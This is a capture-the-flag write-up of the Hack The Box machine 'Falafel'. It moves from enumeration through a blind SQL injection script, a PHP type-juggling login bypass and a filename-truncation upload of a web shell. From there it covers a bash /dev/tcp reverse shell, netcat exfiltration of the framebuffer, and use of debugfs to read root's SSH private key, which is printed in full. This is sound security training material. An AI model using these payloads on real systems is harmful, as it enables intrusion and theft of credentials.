HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Falafel

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.73 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Tue Nov 15 18:23:28 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.73
Nmap scan report for 10.10.10.73
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Nov 15 18:23:42 2022 -- 1 IP address (1 host up) scanned in 13.47 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.73 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Tue Nov 15 18:23:59 2022 as: nmap -sCV -p22,80 -oN targeted 10.10.10.73
Nmap scan report for 10.10.10.73
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36c00a2643f8cea82c0d192110a6a8e7 (RSA)
|   256 cb20fdffa880f2a24b2bbbe17698d0fb (ECDSA)
|_  256 c4792bb6a9b7174c0740f3e57c1ae9dd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/*.txt
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Falafel Lovers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 15 18:24:37 2022 -- 1 IP address (1 host up) scanned in 38.60 seconds

There is just a welcome message in the website.

The robots.txt file contains the disallow entry /*.txt.

Let's try to list any subdirectories or any .txt and .php files hidden in the website.

gobuster dir -u http://10.10.10.73/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 --no-error -x txt,php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.73/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/11/16 22:53:21 Starting gobuster in directory enumeration mode
===============================================================
/profile.php          (Status: 302) [Size: 9787] [--> login.php]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.73/images/]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.73/uploads/]
/header.php           (Status: 200) [Size: 288]
/assets               (Status: 301) [Size: 311] [--> http://10.10.10.73/assets/]
/footer.php           (Status: 200) [Size: 0]
/upload.php           (Status: 302) [Size: 0] [--> profile.php]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.73/css/]
/style.php            (Status: 200) [Size: 6174]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.73/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/robots.txt           (Status: 200) [Size: 30]
/cyberlaw.txt         (Status: 200) [Size: 804]
/connection.php       (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 290]
===============================================================
2022/11/16 22:55:28 Finished
===============================================================

The /cyberlaw.txt file is says that there is a way to log in to the site as the admin user. Also, get into the server using the image upload feature.

Exploitation

If we try to log in as the admin user with random credentials, we'll get the error Wrong identification : admin.

But, if we try to log in as some random user, we will get the error Try again...

If we try to log in with an SQL injection payload, we'll get the error Wrong identification : admin. Which means that the query is valid.

' or 1=1-- -

We can't bypass the login page, but we can run SQL queries, and as if the error is Wrong identification : admin. the query is true, and if the error is Try again.. the query is false, we will have to exploit a Boolean SQL Injection. if we start enumerating the database with the UNION statement as usual, we'll get the error Hacking Attempt Detected!.

' union select 1-- -

But there are other ways of enumerating a database. The following query will check if the first letter of admin is an a. As the comparison is true we should get the error Wrong identification : admin.

admin' and substring(username,1,1)='a'-- -

I made the following script in python which will guess all the characters of the password hash stored in the database following the previous logic.

#/usr/bin/env python
from pwn import *
import requests

def def_handler(sig, frame):
    print("[!] Quiting...")
    sys.exit(1)
    
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables
url = "http://10.10.10.73/login.php"


def makeRequest():
    characters = '0123456789abcdefghijklmnopqrstuvwxyz'
    username = "admin"
    password = ""
    counter = 1

    p1 = log.progress("Brute Force")
    p1.status("Brute forcing...")
    time.sleep(1)
    
    p2 = log.progress("Password hash: ")

    while True:
                    
        for char in characters:

            p1.status("Trying with the %c character" % char)

            post_data = {
                "username": username + f"' and substring(password,{counter},1)='{char}' -- -",
                "password": "test",

            }

            r = requests.post(url, post_data, allow_redirects=False)

            if "identification" in r.text:
                password += char
                counter += 1
                p2.status(password)
                break


if __name__ == '__main__':
    makeRequest()

If we run the script, we'll see that the password hash for the admin user is 0e462096931906507119562988736854.

python script.py

[....\...] Brute Force: Trying with the 2 character
[d] Password hash: : 0e462096931906507119562988736854

But we can't break the hash and it is not available in any rainbow table.

But, if you remember in the /cyberlaw.txt there was another user called chris. Let's try to get his password hash. Make sure to change the username to chris.

python script.py

[O] Brute Force: Trying with the 0 character
[o] Password hash: : d4ee02a22fc872e36d9e3751ba72ddc8

We got a new hash, and this time it is available in the rainbow tables.

Let's log in as the chris user.

The welcome message is putting a lot of emphasis on juggling. Maybe we have to exploit a Type Juggling attack. If the login page is vulnerable to this vulnerability, the page will compare the hash of the admin user with the md5 hash of our password input using the == comparison. As the admin password hash start with 0e, which means and exponential of 0, which is equal to 0.

php --interactive

php > if ("0e462096931906507119562988736854" == 0) { echo "equal"; } else { echo "not equal"; }

equal

So if we log in with a password, whose hash start with 0e and the rest of the hash are numbers, the result of the exponential will also be 0 as the hash of the admin user, and we'll be able to log in a admin.

Now we are logged in as admin.

Now, there might be a way to get access to the server with this upload feature. Let's do a test. First, set a simple HTTP server with python.

python -m http.server 80

Now, create a file called test.png.

touch test.png

Now, click on Upload, then intercept the request with BurpSuite, and send it to the Repeater. Then, send a request with the following value as the url parameter.

As you can see, the file got downloaded. The server is storing the file inside a random directory. We could try to upload .php files.

touch test.php

But we are not allowed to do that. On linux, the filenames can't be longer than 255 bytes. So what happens if we try to upload a file whose name is 255 bytes long. Let's check it out. First, let's create a patter of 251 bytes, as we do in buffer overflows.

msf-pattern_create

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai

Now, create a file called like the pattern with the .png extension, so it has 255 bytes, and we are able to upload it.

touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.png

Now, upload it to the website.

As we can see, we were able to upload the file, but the filename got shortened. There must be some kind of job shortening the filenames in case they are too long.

Something we can do is check what is the exact offset of bytes that we can upload, and then upload a file with offset-4 characters, and then the .php.png extension, so we can upload the file. This way the shorten job will cut of the .png part, and we'll be able to upload a .php file with some malicious code. First, calculate the offset. As you can see, the last 4 characters of the shortened file are Ah7A.

echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah" | wc -c

236

Now, create a new patter with 236-4 characters.

msf-pattern_create -l 232

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A

Create a file with that name and the .php.png extension. Write some malicious code on the file.

nano Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png

<?php echo system($_GET['cmd']); ?>

If we upload the file, we'll see that the server cut off the .png part, and it stored a .php file in the /uploads/1117-2156_6e68af9e0ef8c74a directory.

Now, if we access the PHP file, we'll be able to run commands using the cmd parameter.

curl "http://10.10.10.73/uploads/1117-2156_6e68af9e0ef8c74a/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami"

www-data

Let's get a reverse shell. First, set a netcat listener on port 4444 with netcat.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, send the reverse shell.

curl "http://10.10.10.73/uploads/1117-2156_6e68af9e0ef8c74a/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.14/4444%200>%261'"

Listening on 0.0.0.0 4444
Connection received on 10.10.10.73 50354
bash: cannot set terminal process group (1303): Inappropriate ioctl for device
bash: no job control in this shell
www-data@falafel:/var/www/html/uploads/1117-2156_6e68af9e0ef8c74a$ whoami
whoami
www-data

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's check the system users.

grep sh /etc/passwd

root:x:0:0:root:/root:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:111:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
yossi:x:1000:1000:Yossi,,,:/home/yossi:/bin/bash
moshe:x:1001:1001::/home/moshe:

If we check the /var/www/html directory, we'll see a file called connection.php.

ls -la /var/www/html

total 92
drwxr-x---  7 root www-data 4096 Sep 13 18:51 .
drwxr-xr-x  3 root root     4096 Sep 13 18:51 ..
-rwxr-xr--  1 root www-data   41 Oct 29  2017 .htaccess
drwxr-xr--  2 root www-data 4096 Oct 29  2017 assets
-rwxr-xr--  1 root www-data  423 Oct 29  2017 authorized.php
-rwxr-xr--  1 root www-data  377 Nov 28  2017 connection.php
drwxr-xr--  2 root www-data 4096 Nov 28  2017 css
-rwxr-xr--  1 root www-data  804 Nov 27  2017 cyberlaw.txt
-rwxr-xr--  1 root www-data    0 Nov 27  2017 footer.php
-rwxr-xr--  1 root www-data 1140 Nov 27  2017 header.php
-rwxr-xr--  1 root www-data 7335 Aug 13  2015 icon.png
drwxr-xr--  2 root www-data 4096 Nov 27  2017 images
-rwxr-xr--  1 root www-data  818 Nov 28  2017 index.php
drwxr-xr--  2 root www-data 4096 Nov 28  2017 js
-rwxr-xr--  1 root www-data  752 Oct 29  2017 login.php
-rwxr-xr--  1 root www-data 1800 Nov 28  2017 login_logic.php
-rwxr-xr--  1 root www-data  107 Oct 29  2017 logout.php
-rwxr-xr--  1 root www-data 1913 Nov 28  2017 profile.php
-rwxr-xr--  1 root www-data   30 Nov 28  2017 robots.txt
-rwxr-xr--  1 root www-data 6174 Nov 28  2017 style.php
-rwxr-xr--  1 root www-data 3647 Nov 28  2017 upload.php
drwxrwxr-- 10 root www-data 4096 Nov 17 21:56 uploads

That file contains credentials for the MySQL database.

cat /var/www/html/connection.php

<?php
   define('DB_SERVER', 'localhost:3306');
   define('DB_USERNAME', 'moshe');
   define('DB_PASSWORD', 'falafelIsReallyTasty');
   define('DB_DATABASE', 'falafel');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
   // Check connection
   if (mysqli_connect_errno())
   {
      echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
?>

And it looks like that password is valid for the moshe user. Then, we can grab the user flag.

su moshe

Password: falafelIsReallyTasty
setterm: terminal xterm does not support --blank
moshe@falafel:/var/www/html/uploads/1117-2156_6e68af9e0ef8c74a$ whoami
moshe
moshe@falafel:/var/www/html/uploads/1117-2156_6e68af9e0ef8c74a$ cd
moshe@falafel:~$ cat user.txt 
1a203d14a3460277a12d5b33b0c734d5

By checking what groups is moshe a member, we'll see he is member of the video group.

id

uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games)

Someone that is a member of the video group could be able to take screenshots. First, we'll need to find the proper virtual device.

find / -group video 2>/dev/null

/dev/fb0
/dev/dri/card0
/dev/dri/renderD128
/dev/dri/controlD64

Now, copy the /dev/fb0 file into the /tmp directory.

cp /dev/fb0 /tmp/

Let's transfer that file to our local machine. Set a netcat listener on port 5555, pointing to fb0.raw.

nc -lvnp 5555 > fb0.raw

Then, on the falafel machine, send the file with netcat.

nc 10.10.14.14 5555 < fb0

Now, we need to know the proper dimensions of the screen of the victim machine.

echo "Width:"; cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1; echo " Heigth:"; cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2

Width: 
1176
Heigth: 
885

On our local machine, create the video.pl script with the following code.

nano video.pl

#!/usr/bin/perl -w

$w = shift || 240;
$h = shift || 320;
$pixels = $w * $h;

open OUT, "|pnmtopng" or die "Can't pipe pnmtopng: $!\n";

printf OUT "P6%d %d\n255\n", $w, $h;

while ((read STDIN, $raw, 2) and $pixels--) {
   $short = unpack('S', $raw);
   print OUT pack("C3",
      ($short & 0xf800) >> 8,
      ($short & 0x7e0) >> 3,
      ($short & 0x1f) << 3);
}

close OUT;

Finally, let's run the script with the width and heigth as parameters.

perl video.pl 1176 885 < fb0.raw > fb0.png

If we take a look at the fb0.png screenshot, we'll see that the user yossi is changing his password to MoshePlzStopHackingMe!.

Let's become the yossi user.

su yossi

Password: MoshePlzStopHackingMe!
yossi@falafel:/tmp$ whoami
yossi

If we check the yossi groups, we'll see that he is member of the disk group.

id

uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare)

As we are in the disk group, we can read all the hard drives devices.

fdisk -l

Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x2aa34854

Device     Boot   Start     End Sectors  Size Id Type
/dev/sda1          2048 7337983 7335936  3.5G 83 Linux
/dev/sda2       7337984 8388607 1050624  513M  5 Extended
/dev/sda5       7340032 8388607 1048576  512M 82 Linux swap / Solaris

It looks like the filesystem is stored in /dev/sda1. Let's take a look at it.

debugfs /dev/sda1

debugfs: ls

 2  (12) .    2  (12) ..    11  (20) lost+found    131073  (12) etc   
 31  (16) media    131075  (12) bin    426  (12) boot    2091  (12) dev   
 12  (12) home    13  (12) lib    2451  (16) lib64    2453  (12) mnt   
 2454  (12) opt    2455  (12) proc    2456  (12) root    2459  (12) run   
 2472  (12) sbin    2589  (12) srv    2590  (12) sys    2591  (12) tmp   
 2592  (12) usr    131762  (12) var    24441  (20) initrd.img   
 24442  (40) vmlinuz    145141  (3756) snap

As we are able to use the entire file system, we could grab the id_rsa file of the root user.

debugfs: cat /root/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyPdlQuyVr/L4xXiDVK8lTn88k4zVEEfiRVQ1AWxQPOHY7q0h
b+Zd6WPVczObUnC+TaElpDXhf3gjLvjXvn7qGuZekNdB1aoWt5IKT90yz9vUx/gf
v22+b8XdCdzyXpJW0fAmEN+m5DAETxHDzPdNfpswwYpDX0gqLCZIuMC7Z8D8Wpkg
BWQ5RfpdFDWvIexRDfwj/Dx+tiIPGcYtkpQ/UihaDgF0gwj912Zc1N5+0sILX/Qd
UQ+ZywP/qj1FI+ki/kJcYsW/5JZcG20xS0QgNvUBGpr+MGh2urh4angLcqu5b/ZV
dmoHaOx/UOrNywkp486/SQtn30Er7SlM29/8PQIDAQABAoIBAQCGd5qmw/yIZU/1
eWSOpj6VHmee5q2tnhuVffmVgS7S/d8UHH3yDLcrseQhmBdGey+qa7fu/ypqCy2n
gVOCIBNuelQuIAnp+EwI+kuyEnSsRhBC2RANG1ZAHal/rvnxM4OqJ0ChK7TUnBhV
+7IClDqjCx39chEQUQ3+yoMAM91xVqztgWvl85Hh22IQgFnIu/ghav8Iqps/tuZ0
/YE1+vOouJPD894UEUH5+Bj+EvBJ8+pyXUCt7FQiidWQbSlfNLUWNdlBpwabk6Td
OnO+rf/vtYg+RQC+Y7zUpyLONYP+9S6WvJ/lqszXrYKRtlQg+8Pf7yhcOz/n7G08
kta/3DH1AoGBAO0itIeAiaeXTw5dmdza5xIDsx/c3DU+yi+6hDnV1KMTe3zK/yjG
UBLnBo6FpAJr0w0XNALbnm2RToX7OfqpVeQsAsHZTSfmo4fbQMY7nWMvSuXZV3lG
ahkTSKUnpk2/EVRQriFjlXuvBoBh0qLVhZIKqZBaavU6iaplPVz72VvLAoGBANj0
GcJ34ozu/XuhlXNVlm5ZQqHxHkiZrOU9aM7umQkGeM9vNFOwWYl6l9g4qMq7ArMr
5SmT+XoWQtK9dSHVNXr4XWRaH6aow/oazY05W/BgXRMxolVSHdNE23xuX9dlwMPB
f/y3ZeVpbREroPOx9rZpYiE76W1gZ67H6TV0HJcXAoGBAOdgCnd/8lAkcY2ZxIva
xsUr+PWo4O/O8SY6vdNUkWIAm2e7BdX6EZ0v75TWTp3SKR5HuobjVKSht9VAuGSc
HuNAEfykkwTQpFTlmEETX9CsD09PjmsVSmZnC2Wh10FaoYT8J7sKWItSzmwrhoM9
BVPmtWXU4zGdST+KAqKcVYubAoGAHR5GBs/IXFoHM3ywblZiZlUcmFegVOYrSmk/
k+Z6K7fupwip4UGeAtGtZ5vTK8KFzj5p93ag2T37ogVDn1LaZrLG9h0Sem/UPdEz
HW1BZbXJSDY1L3ZiAmUPgFfgDSze/mcOIoEK8AuCU/ejFpIgJsNmJEfCQKfbwp2a
M05uN+kCgYBq8iNfzNHK3qY+iaQNISQ657Qz0sPoMrzQ6gAmTNjNfWpU8tEHqrCP
NZTQDYCA31J/gKIl2BT8+ywQL50avvbxcXZEsy14ExVnaTpPQ9m2INlxz97YLxjZ
FEUbkAlzcvN/S3LJiFbnkQ7uJ0nPj4oPw1XBcmsQoBwPFOcCEvHSrg==
-----END RSA PRIVATE KEY-----

Copy the key to our local machine, give the file a 600 permission, and log in as root to the machine. Then, all we have to do is reap the harvest and take the root flag.

nano id_rsa

chmod 600

ssh -i id_rsa root@10.10.10.73

Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Tue May  1 20:14:09 2018 from 10.10.14.4
root@falafel:~# whoami
root
root@falafel:~# cat root.txt 
8acbf5e11783a28dd4d136164916c7cb

This show a few strings whose hashes are the ones we are looking for. Let's log in with the password 240610708.

article